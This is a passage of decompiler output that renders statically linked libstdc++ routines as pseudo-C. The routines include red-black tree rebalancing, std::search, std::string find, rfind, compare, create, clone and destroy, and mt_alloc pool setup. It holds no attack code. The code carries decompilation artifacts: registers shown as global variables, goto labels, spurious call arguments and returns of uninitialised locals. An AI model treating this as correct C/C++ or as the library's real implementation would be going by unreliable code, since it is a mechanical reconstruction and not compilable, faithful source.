== *(int32_t *)(v18 + 12)) { // 0x809868f std___Rb_tree_rotate_left(v19, (int32_t **)v5, &a2->e0, a3); int32_t v31 = g98; // 0x809869e v2 = v31; int32_t v32 = *(int32_t *)(v31 + 4); // 0x80986a0 g98 = v32; v30 = v32; // branch -> 0x809863c } // 0x809863c *(int32_t *)v30 = 1; *(int32_t *)v24 = 0; std___Rb_tree_rotate_right((int32_t *)v24, (int32_t **)v5, &a2->e0, a3); v7 = (int32_t *)0x8098657; // branch -> 0x80985ac lab_0x6462a40: // 0x80985ac v9 = v5->e0; v14 = v9; v11 = v2; if (v11 == v9) { // break (via goto) -> 0x80985e5 goto lab_0x6477010; } v10 = v7; // continue (via goto) -> 0x80985b0 goto lab_0x6478430; } else { // 0x80985c3 int32_t v33; // 0x8098608 if (v25 != 0) { int32_t v34 = v26->e0; // 0x80985c7 g96 = v34; if (v34 == 0) { v16 = v26; goto lab_0x645bdd0; } // 0x8098603 v33 = v18; if (v15 == *(int32_t *)(v18 + 8)) { lab_0x64668e0: // 0x8098661 std___Rb_tree_rotate_right(v19, (int32_t **)v5, &a2->e0, a3); int32_t v35 = g98; // 0x8098670 v2 = v35; int32_t v36 = *(int32_t *)(v35 + 4); // 0x8098672 g98 = v36; v33 = v36; // branch -> 0x8098608 } lab_0x64679c0: // 0x8098608 *(int32_t *)v33 = 1; *(int32_t *)v24 = 0; std___Rb_tree_rotate_left((int32_t *)v24, (int32_t **)v5, &a2->e0, a3); v7 = (int32_t *)0x8098623; // branch -> 0x80985ac goto lab_0x6462a40; } // 0x8098603 if (v15 == *(int32_t *)(v18 + 8)) { goto lab_0x64668e0; } v33 = v18; goto lab_0x64679c0; } // 0x80985cd *v19 = 1; v16->e0 = 1; int32_t v37 = v24; // 0x80985d9 *(int32_t *)v37 = 0; v17 = v24; v2 = v17; v27 = v14; if (v17 == v27) { v21 = v17; v22 = v16; // break -> 0x80985e5 break; } v15 = v17; v13 = v27; v8 = v16; // continue -> 0x80985b0 continue; } // 0x80985e5 // branch -> 0x80985e5 // 0x80985e5 *(int32_t *)v21 = 1; g100 = (int32_t)v10; return (int32_t)v22; } // 0x80985e5 // branch -> 0x80985e5 // 0x80985e5 *(int32_t *)v17 = 1; g100 = (int32_t)v10; return (int32_t)v16; } } else { // 0x8098595 *(int32_t *)(v6 + 8) = v2; if (v3 == v6) { // 0x8098677 *(int32_t *)v4 = v2; *(int32_t *)(v6 + 12) = v2; v14 = v2; // branch -> 0x80985ac } else { // 0x80985a0 if (v6 == (int32_t)a4->e2) { // 0x8098684 a4->e2 = (int32_t *)v2; v14 = a4->e1; // branch -> 0x80985ac } else { // 0x80985a9 v14 = a4->e1; // branch -> 0x80985ac } // 0x80985ac v12 = v2; if (v12 == v14) { // 0x80985e5 *(int32_t *)v14 = 1; g100 = (int32_t)v1; return (int32_t)a4; } v10 = v1; while (true) { // 0x80985b0 v15 = v12; v13 = v14; v8 = a4; // branch -> 0x80985b0 goto lab_0x14069e80; } } // 0x80985ac v12 = v2; if (v12 == v14) { // 0x80985e5 *(int32_t *)v14 = 1; g100 = (int32_t)v1; return (int32_t)a4; } v10 = v1; while (true) { // 0x80985b0 v15 = v12; v13 = v14; v8 = a4; // branch -> 0x80985b0 goto lab_0x14069e80; } } if (v12 == v14) { lab_0x6477010: // 0x80985e5 *(int32_t *)v9 = 1; g100 = (int32_t)v7; return (int32_t)v5; } lab_0x6478430: while (true) { // 0x80985b0 v15 = v11; v13 = v9; v8 = v5; // branch -> 0x80985b0 goto lab_0x14069e80; } } // Address range: 0x80989ec - 0x80989f1 void std__allocator_lt_char_gt_(void) { // 0x80989ec return; } // Address range: 0x80989fe - 0x8098a03 void std__allocator_lt_char_gt__593(void) { // 0x80989fe return; } // Address range: 0x8098b74 - 0x8098c27 int32_t std__allocator_lt_char_gt__596(int32_t a1) { int32_t v1 = g100; // 0x8098b74 if (g27 != 0) { // 0x8098b83 g100 = v1; return 0; } int32_t v2 = 0x8132c08; if (__cxa_guard_acquire((char *)&v2, 0, v1, 0, a1, 0, 0, 0, 0) == 0) { // 0x8098b83 g100 = v1; return 0; } // 0x8098b95 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v2 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; g100 = v1; __cxa_guard_release((struct struct_59 *)&v2); return g95; } // Address range: 0x8098ce4 - 0x8098d97 int32_t std__allocator_lt_char_gt__598(int32_t a1) { int32_t v1 = g100; // 0x8098ce4 if (g27 != 0) { // 0x8098cf3 g100 = v1; return 0; } int32_t v2 = 0x8132c08; if (__cxa_guard_acquire((char *)&v2, 0, v1, 0, a1, 0, 0, 0, 0) == 0) { // 0x8098cf3 g100 = v1; return 0; } // 0x8098d05 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v2 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; g100 = v1; __cxa_guard_release((struct struct_59 *)&v2); return g95; } // Address range: 0x8098d9c - 0x8098e4f int32_t std__allocator_lt_char_gt__599(int32_t a1) { int32_t v1 = g100; // 0x8098d9c if (g27 != 0) { // 0x8098dab g100 = v1; return 0; } int32_t v2 = 0x8132c08; if (__cxa_guard_acquire((char *)&v2, 0, v1, 0, a1, 0, 0, 0, 0) == 0) { // 0x8098dab g100 = v1; return 0; } // 0x8098dbd g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v2 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; g100 = v1; __cxa_guard_release((struct struct_59 *)&v2); return g95; } // Address range: 0x8098fd6 - 0x8098feb void std__char_traits_lt_char_gt___eq(void) { // 0x8098fd6 return; } // Address range: 0x8099070 - 0x809916d int32_t _ZSt6searchIPKcS1_PFbRS0_S2_EET_S5_S5_T0_S6_T1_(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t * a10, int32_t a11, int32_t a12) { int32_t v1 = g102; // 0x8099073 int32_t v2 = g101; // 0x8099074 int32_t v3 = g98; // 0x8099075 g98 = a1; g102 = a2; int32_t v4 = g97 & -256 | (int32_t)(a1 == a2); // 0x8099081 g97 = v4; int32_t result; // 0x80990bd if (v4 != ((int32_t)(a3 == a4) || a4 & -256)) { // 0x80990bd result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } int32_t v5 = a3 + 1; // 0x8099094 g95 = v5; if (v5 == a4) { // 0x80990eb g101 = a2; g1 = false; g103 = a1 == a2 == false; if (v4 == 0) { int32_t v6 = a1; // 0x80990f8 // branch -> 0x80990f1 while (true) { // 0x80990f1 g97 = a3; ((int32_t (*)(int32_t, int32_t))a5)(v6, a3); if (g95 == 0) { int32_t v7 = g98 + 1; // 0x8099102 g98 = v7; uint32_t v8 = g101; // 0x8099105 g1 = v8 < v7; g103 = v8 == v7; if (v8 == v7) { // break -> 0x80990bd break; } v6 = v7; // continue -> 0x80990f1 continue; } } // 0x80990bd result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } } else { // 0x809909f g1 = a1 < a2; g103 = a1 == a2; if (a1 != a2) { int32_t (*v9)(int32_t, int32_t) = (int32_t (*)(int32_t, int32_t))a5; // 0x80990af_4 // branch -> 0x80990a3 while (true) { lab_0x64a2000: // 0x80990a3 g101 = a2; int32_t v10 = a1; // 0x80990ac // branch -> 0x80990a5 while (true) { // 0x80990a5 g95 = a3; v9(v10, a3); int32_t v11 = g95; // 0x80990b2 g1 = false; g103 = 0x1000000 * v11 == 0; if (v11 == 0) { int32_t v12 = g98 + 1; // 0x80990b6 g98 = v12; uint32_t v13 = g101; // 0x80990b9 g1 = v12 < v13; g103 = v12 == v13; if (v12 == v13) { // break -> 0x80990bd break; } v10 = v12; // continue -> 0x80990a5 continue; } else { // 0x80990c7 g101 = g102; int32_t v14 = g98; // 0x80990d0 // branch -> 0x80990c9 while (true) { // 0x80990c9 g97 = a3; v9(v14, a3); if (g95 != 0) { int32_t v15 = g102; // 0x809910b int32_t v16 = g98; // 0x809910b if (v15 == v16) { // 0x80990bd result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } int32_t v17 = v16 + 1; // 0x8099112 if (v15 == v17) { // 0x809915d g98 = v15; // branch -> 0x80990bd // 0x80990bd result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } // 0x809911c g101 = v5; uint32_t v18 = v15 - v17 + v5; // 0x809912a g1 = v17 < v5; int32_t v19 = v17 - v5; // 0x8099133 g103 = v17 == v5; // branch -> 0x8099138 while (true) { // 0x8099138 g97 = v19; int32_t v20 = v5 + v19; // 0x809913f g95 = v20; ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t))a5)(v20, v5, 0, 0, 0); int32_t v21 = g95; // 0x8099148 g1 = false; g103 = 0x1000000 * v21 == 0; if (v21 == 0) { // 0x8099165 g98 = v17; a1 = v17; a2 = g102; // branch -> 0x80990a3 goto lab_0x64a2000; } else { int32_t v22 = g101 + 1; // 0x809914c g101 = v22; if (v22 != a4) { // 0x8099158 g1 = v18 < v22; g103 = v18 == v22; if (v18 == v22) { // break -> 0x809915d break; } v5 = v22; // continue -> 0x8099138 continue; } } // 0x80990bd result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } // 0x809915d // branch -> 0x809915d // 0x809915d g98 = g102; // branch -> 0x80990bd // 0x80990bd result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } int32_t v23 = g98 + 1; // 0x80990da g98 = v23; uint32_t v24 = g101; // 0x80990dd g1 = v23 < v24; g103 = v23 == v24; if (v23 == v24) { // break -> 0x80990e1 break; } v14 = v23; // continue -> 0x80990c9 } } // 0x80990bd result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } } } } // 0x80990bd result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } // Address range: 0x809918a - 0x8099193 int32_t std__string__c_str(int32_t * a1) { // 0x809918a g95 = (int32_t)a1; return *a1; } // Address range: 0x809919e - 0x80991ab int32_t std__string__size(int32_t * a1) { // 0x809919e return *(int32_t *)(*a1 - 12); } // Address range: 0x80991ac - 0x80991b9 int32_t std__string__length(int32_t * a1) { // 0x80991ac return *(int32_t *)(*a1 - 12); } // Address range: 0x8099218 - 0x809922d int32_t std__string__empty(int32_t * a1) { // 0x8099218 return *(int32_t *)(*a1 - 12) == 0; } // Address range: 0x8099252 - 0x80992c3 int32_t std__string__find(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9) { int32_t v1 = g102; // bp-8 int32_t v2 = g101; // 0x8099256 int32_t v3 = g98; // 0x8099257 g96 = a2; g102 = a4; int32_t v4 = *a1; // 0x8099264 g101 = v4; uint32_t v5 = *(int32_t *)(v4 - 12); // 0x8099266 g97 = v5; int32_t v6 = a4 + a3; // 0x809926c g95 = v6; if (v5 < v6) { // 0x80992b6 g98 = a7; g101 = a8; return -1; } int32_t v7 = v5 + v4; // 0x8099272 g98 = v7; g97 = a3; int32_t v8; int32_t v9 = _ZSt6searchIPKcS1_PFbRS0_S2_EET_S5_S5_T0_S6_T1_(v4 + a3, v7, a2, a4 + a2, (int32_t)std__char_traits_lt_char_gt___eq, 0, 0, v3, v2, &v1, g100, v8); // 0x8099295 int32_t v10 = ((int32_t)(g98 == v9) | g97 & -256) ^ 1; // 0x809929e int32_t v11 = g102 == 0; // 0x80992a3 int32_t v12 = v11 | v9 & -256; // 0x80992a3 g95 = v12; g97 = v11 | v10; if (v12 == v10) { // 0x8099272 // branch -> 0x80992b6 // 0x80992b6 g98 = a7; g101 = a8; return -1; } // 0x80992aa g95 = v9; int32_t v13 = g101; // 0x80992ac g98 = v3; g101 = v2; return v9 - v13; } // Address range: 0x8099448 - 0x809949f int32_t std__string__rfind(int32_t * a1, char a2, int32_t a3, int32_t a4) { int32_t v1 = g100; // 0x8099448 int32_t v2 = g102; // 0x809944b int32_t v3 = g101; // 0x809944c int32_t v4 = g98; // 0x809944d int32_t v5 = (int32_t)a1; // 0x8099455 int32_t v6 = *a1; // 0x8099458 int32_t v7 = *(int32_t *)(v6 - 12); // 0x809945a int32_t v8; if (v7 == 0) { // 0x8099494 g98 = v8; g101 = v5; g102 = a2; g100 = a3; return -1; } int32_t v9 = v7 - 1; // 0x8099461 int32_t v10 = v9; // 0x8099468 if (v9 > a3) { // 0x8099490 v10 = a3; // branch -> 0x8099468 } int32_t v11 = v10 + 1; // 0x8099468 int32_t v12 = v11 + v6; // 0x809947c // branch -> 0x8099475 int32_t result; // 0x8099475 while (true) { // 0x8099475 result = v11 - 1; if (v11 == 0) { // 0x8099494 g98 = v8; g101 = v5; g102 = a2; g100 = a3; return -1; } int32_t v13 = v12 - 1; // 0x809947c if (*(char *)v13 == a2) { // break -> 0x8099489 break; } v12 = v13; v11 = result; // continue -> 0x8099475 } // 0x8099489 g98 = v4; g101 = v3; g102 = v2; g100 = v1; return result; } // Address range: 0x8099610 - 0x8099667 int32_t std__string__compare(int32_t * a1, int32_t * a2) { int32_t v1 = *a1; // 0x809961c int32_t v2 = v1; // bp-40 int32_t n = *(int32_t *)(v1 - 12); // 0x8099621 strncmp((char *)&v2, (char *)*a2, n); int32_t v3; return &v3; } // Address range: 0x8099882 - 0x80998bd int32_t std__string__find_616(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = g100; // 0x8099882 int32_t v2 = g102; // 0x8099885 int32_t len = strlen((char *)a2); // 0x8099896 int32_t v3 = a1; // bp-28 int32_t v4; int32_t result = std__string__find(&v3, a2, a3, len, 0, v2, v1, v4, a1); // 0x80998b2 g102 = v2; g100 = v1; return result; } // Address range: 0x8099e82 - 0x809a01f int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(int32_t * a1) { int32_t v1 = g100; // 0x8099e82 int32_t v2 = (int32_t)a1; // 0x8099eae int32_t v3; if (g27 == 0) { // 0x8099ea7 int32_t v4; if (__cxa_guard_acquire((char *)0x8132c08, v4, 0, 0, 0, 0, v1, 0, v2) != 0) { // 0x8099f82 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); v4 = 0x8132c08; // branch -> 0x8099ec2 } // 0x8099ec2 if (g27 == 0) { // 0x8099ec6 if (__cxa_guard_acquire((char *)0x8132c08, v4, 0, 0, 0, 0, v1, 0, v2) == 0) { // 0x8099e91 *a1 = 0x8134ee8; std__allocator_lt_char_gt_(); g100 = v1; return &v3; } // 0x8099ed6 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); *a1 = 0x8134ee8; std__allocator_lt_char_gt_(); g100 = v1; return &v3; } } // 0x8099e91 *a1 = 0x8134ee8; std__allocator_lt_char_gt_(); g100 = v1; return &v3; } // Address range: 0x809a1c6 - 0x809a347 int32_t std__string___Rep___S_create(int32_t * a1, int32_t * a2) { int32_t * v1 = (int32_t *)g100; // 0x809a1c6_0 int32_t v2 = g102; // 0x809a1c9 int32_t v3 = g101; // 0x809a1ca int32_t v4 = g98; // 0x809a1cb int32_t v5 = (int32_t)a1; // 0x809a1cf g101 = v5; int32_t v6 = (int32_t)a2; // 0x809a1d2 g98 = v6; int32_t v7; if (a1 > (int32_t *)0x3ffffffc) { // 0x809a329 v7 = (int32_t)"basic_string::_S_create"; std____throw_length_error("basic_string::_S_create", v5, v6, 0); std__allocator_lt_char_gt_(); v7 = g98; _Unwind_Resume(&v7, a1, a2); return g95; } int32_t v8 = v5; // 0x809a250 if (a1 > a2) { int32_t v9 = 2 * v6; // 0x809a1e5 if (v5 < v9) { // 0x809a1ec g101 = v9; v8 = v9; // branch -> 0x809a1ee } else { v8 = v5; } } uint32_t v10 = v8 + 29; // 0x809a1f4 g96 = v10; int32_t * v11; // 0x809a321_05 int32_t result; int32_t v12; // 0x809a227 int32_t * v13; int32_t * v14; if (((int32_t)(v10 < 0x1001) || g97 & -256) == 1) { // 0x809a209 v11 = (int32_t *)(v8 + 13); if (g27 != 0) { // 0x809a212 v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, v11); result = v12; std__allocator_lt_char_gt_(); *(int32_t *)(result + 4) = g101; g98 = v4; g101 = v3; g102 = v2; g100 = (int32_t)v1; return result; } // 0x809a273 v7 = 0x8132c08; if (__cxa_guard_acquire((char *)&v7, v5, v6, 0, 0, 0, 0, 0, 0) != 0) { // 0x809a283 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v7 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v7 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v14 = (int32_t *)0x809a319; // branch -> 0x809a212 } else { v14 = (int32_t *)0x809a27f; } // 0x809a212 v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, v11); result = v12; std__allocator_lt_char_gt_(); *(int32_t *)(result + 4) = g101; g98 = v4; g101 = v3; g102 = v2; g100 = (int32_t)v14; return result; } int32_t v15 = v10 % 0x1000; // 0x809a243 g96 = v15; int32_t v16 = 0x1000 - v15 + v8; // 0x809a250 g101 = v16; int32_t * v17; // 0x809a321_04 if (v16 < 0x3ffffffd) { // 0x809a31e // branch -> 0x809a209 // 0x809a209 v11 = (int32_t *)(v16 + 13); if (g27 != 0) { // 0x809a212 v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, v11); result = v12; std__allocator_lt_char_gt_(); *(int32_t *)(result + 4) = g101; g98 = v4; g101 = v3; g102 = v2; g100 = (int32_t)v1; return result; } v17 = v11; } else { // 0x809a25e g101 = 0x3ffffffc; if (g27 != 0) { // 0x809a212 v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, (int32_t *)0x40000009); result = v12; std__allocator_lt_char_gt_(); *(int32_t *)(result + 4) = g101; g98 = v4; g101 = v3; g102 = v2; g100 = (int32_t)v1; return result; } v17 = (int32_t *)0x40000009; } // 0x809a273 v7 = 0x8132c08; if (__cxa_guard_acquire((char *)&v7, v5, v6, 0, 0, 0, 0, 0, 0) != 0) { // 0x809a283 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v7 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v7 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v14 = (int32_t *)0x809a319; // branch -> 0x809a212 } else { v14 = (int32_t *)0x809a27f; } // 0x809a212 v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, v17); result = v12; std__allocator_lt_char_gt_(); *(int32_t *)(result + 4) = g101; g98 = v4; g101 = v3; g102 = v2; g100 = (int32_t)v14; return result; } // Address range: 0x809a348 - 0x809a3cf int32_t std__string___Rep___M_clone(struct struct_98 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7) { int32_t v1 = g100; // 0x809a348 int32_t v2 = g102; // 0x809a34b int32_t v3 = g101; // 0x809a34c g102 = (int32_t)a1; int32_t * v4 = a1->e1; // 0x809a35e g97 = (int32_t)v4; int32_t v5 = std__string___Rep___S_create(&((struct struct_97 *)(a1->e0 + a3))->e0, v4); // 0x809a36a struct struct_97 * v6 = (struct struct_97 *)v5; // 0x809a36a_6 int32_t v7 = *(int32_t *)g102; // 0x809a371 int32_t v8 = v7; int32_t v9 = v5 + 12; // 0x809a373 int32_t result = v9; if (v7 == 0) { // 0x809a397 v6->e2 = 0; *(int32_t *)v5 = v8; *(char *)(result + v8) = 0; g101 = v3; g102 = v2; g100 = v1; return result; } // 0x809a37a result = v9; int32_t v10 = g102 + 12; // 0x809a37d if (v7 == 1) { // 0x809a3ae *(char *)v9 = a1->e3; v8 = *(int32_t *)g102; v6->e2 = 0; *(int32_t *)v5 = v8; *(char *)(result + v8) = 0; g101 = a4; g102 = a5; g100 = a6; return result; } // 0x809a385 memcpy(&((struct struct_97 *)v9)->e0, &((struct struct_98 *)v10)->e0, v7); v8 = *(int32_t *)g102; // branch -> 0x809a397 // 0x809a397 v6->e2 = 0; *(int32_t *)v5 = v8; *(char *)(result + v8) = 0; g101 = v3; g102 = v2; g100 = v1; return result; } // Address range: 0x809ada2 - 0x809b15f int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(int32_t * a1, int32_t * a2) { int32_t v1 = g100; // 0x809ada2 int32_t v2 = g101; // 0x809ada5 int32_t v3 = g98; // 0x809ada6 int32_t v4; // 0x809ae12 int32_t v5; // 0x809afbd int32_t v6; int32_t v7; int32_t v8; int32_t * v9; int32_t * v10; int32_t * v11; int32_t * v12; int32_t v13; // 0x809adba int32_t v14; // 0x809adbc int32_t v15; // 0x809adbf int32_t v16; // 0x809adbf if (g27 == 0) { // 0x809aeb6 v6 = 0x8132c08; int32_t v17 = (int32_t)a1; // 0x809aebd int32_t v18 = (int32_t)a2; // 0x809aebd int32_t v19 = __cxa_guard_acquire((char *)&v6, v17, v18, 0, 0, 0, 0, 0, 0); // 0x809aebd int32_t * v20 = (int32_t *)0x809aec2; if (v19 != 0) { // 0x809b06b g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v6 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v6 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v20 = (int32_t *)0x809b101; // branch -> 0x809aed1 } // 0x809aed1 if (g27 == 0) { // 0x809aed9 v6 = 0x8132c08; int32_t v21 = __cxa_guard_acquire((char *)&v6, v17, v18, 0, 0, 0, 0, 0, 0); // 0x809aee0 int32_t * v22 = (int32_t *)0x809aee5; if (v21 != 0) { // 0x809afc9 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v6 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v6 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v22 = (int32_t *)0x809b05f; // branch -> 0x809aef4 } // 0x809aef4 if (g27 == 0) { // 0x809aefc v6 = 0x8132c08; if (__cxa_guard_acquire((char *)&v6, v17, v18, 0, 0, 0, 0, 0, 0) != 0) { // 0x809af10 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v6 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v6 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v9 = (int32_t *)0x809afa6; // branch -> 0x809adb7 } else { v9 = (int32_t *)0x809af08; } // 0x809adb7 v13 = *a2; g98 = v13; v14 = v13 - 12; v15 = v13 - 4; v16 = *(int32_t *)v15; g101 = v16; int32_t * v23; if (v16 < 0) { // 0x809afab v6 = v14; v5 = std__string___Rep___M_clone((struct struct_98 *)&v6, v7, (int32_t)g2, 0, 0, 0, 0); g98 = v5; v23 = NULL; v10 = a1; v11 = (int32_t *)0x809afc2; // branch -> 0x809add8 } else { // 0x809adca if (v14 != 0x8134edc) { // 0x809b10d v6 = v15; __gnu_cxx____atomic_add(&v6, 1); v23 = a2; v10 = (int32_t *)1; v11 = (int32_t *)0x809b120; // branch -> 0x809add8 } else { v23 = a2; v10 = a1; v11 = v9; } } // 0x809add8 v12 = v11; if (g27 == 0) { // 0x809ae0b v6 = 0x8132c08; v4 = __cxa_guard_acquire((char *)&v6, v7, (int32_t)v23, 0, 0, 0, 0, 0, 0); if (v4 != 0) { // 0x809ae1b g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v6 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v6 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v12 = (int32_t *)0x809aeb1; // branch -> 0x809ade1 } else { v12 = (int32_t *)0x809ae17; } } // 0x809ade1 *v10 = g98; std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); g98 = v3; g101 = v2; g100 = (int32_t)v12; return &v8; } v9 = v22; } else { v9 = v20; } } else { // 0x809ada2 v9 = (int32_t *)v1; // branch -> 0x809adb7 } // 0x809adb7 v13 = *a2; g98 = v13; v14 = v13 - 12; v15 = v13 - 4; v16 = *(int32_t *)v15; g101 = v16; if (v16 >= 0) { // 0x809adca if (v14 != 0x8134edc) { // 0x809b10d v6 = v15; __gnu_cxx____atomic_add(&v6, 1); v10 = (int32_t *)1; v11 = (int32_t *)0x809b120; // branch -> 0x809add8 } else { v10 = a1; v11 = v9; } // 0x809add8 v12 = v11; if (g27 == 0) { // 0x809ae0b v6 = 0x8132c08; v4 = __cxa_guard_acquire((char *)&v6, v7, (int32_t)a2, 0, 0, 0, 0, 0, 0); if (v4 != 0) { // 0x809ae1b g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v6 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v6 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v12 = (int32_t *)0x809aeb1; // branch -> 0x809ade1 } else { v12 = (int32_t *)0x809ae17; } } // 0x809ade1 *v10 = g98; std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); g98 = v3; g101 = v2; g100 = (int32_t)v12; return &v8; } // 0x809afab v6 = v14; v5 = std__string___Rep___M_clone((struct struct_98 *)&v6, v7, (int32_t)g2, 0, 0, 0, 0); g98 = v5; v10 = a1; // branch -> 0x809add8 // 0x809add8 if (g27 != 0) { // 0x809ade1 *v10 = g98; std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); g98 = v3; g101 = v2; g100 = (int32_t)(int32_t *)0x809afc2; return &v8; } // 0x809ae0b v6 = 0x8132c08; v4 = __cxa_guard_acquire((char *)&v6, v7, (int32_t)NULL, 0, 0, 0, 0, 0, 0); if (v4 != 0) { // 0x809ae1b g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v6 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v6 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v12 = (int32_t *)0x809aeb1; // branch -> 0x809ade1 } else { v12 = (int32_t *)0x809ae17; } // 0x809ade1 *v10 = g98; std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); g98 = v3; g101 = v2; g100 = (int32_t)v12; return &v8; } // Address range: 0x809b2f4 - 0x809b3f9 int32_t std__string___Rep___M_destroy(int32_t * a1) { struct struct_3 * v1 = NULL; // bp-17 int32_t (*v2)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t) = (int32_t (*)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t))g100; // 0x809b2f4_0 int32_t v3 = g102; // 0x809b2f7 int32_t v4 = g98; // 0x809b2f9 int32_t v5 = (int32_t)a1; // 0x809b2fd g102 = v5; g98 = *(int32_t *)(v5 + 4) + 13; int32_t result; // 0x809b31d if (g27 != 0) { // 0x809b30f result = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(&v1->e0, (int32_t *)g102); std__allocator_lt_char_gt_(); g98 = v4; g102 = v3; g100 = (int32_t)v2; return result; } int32_t v6 = 0x8132c08; int32_t (*v7)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t); if (__cxa_guard_acquire((char *)&v6, v5, 0, 0, 0, 0, 0, 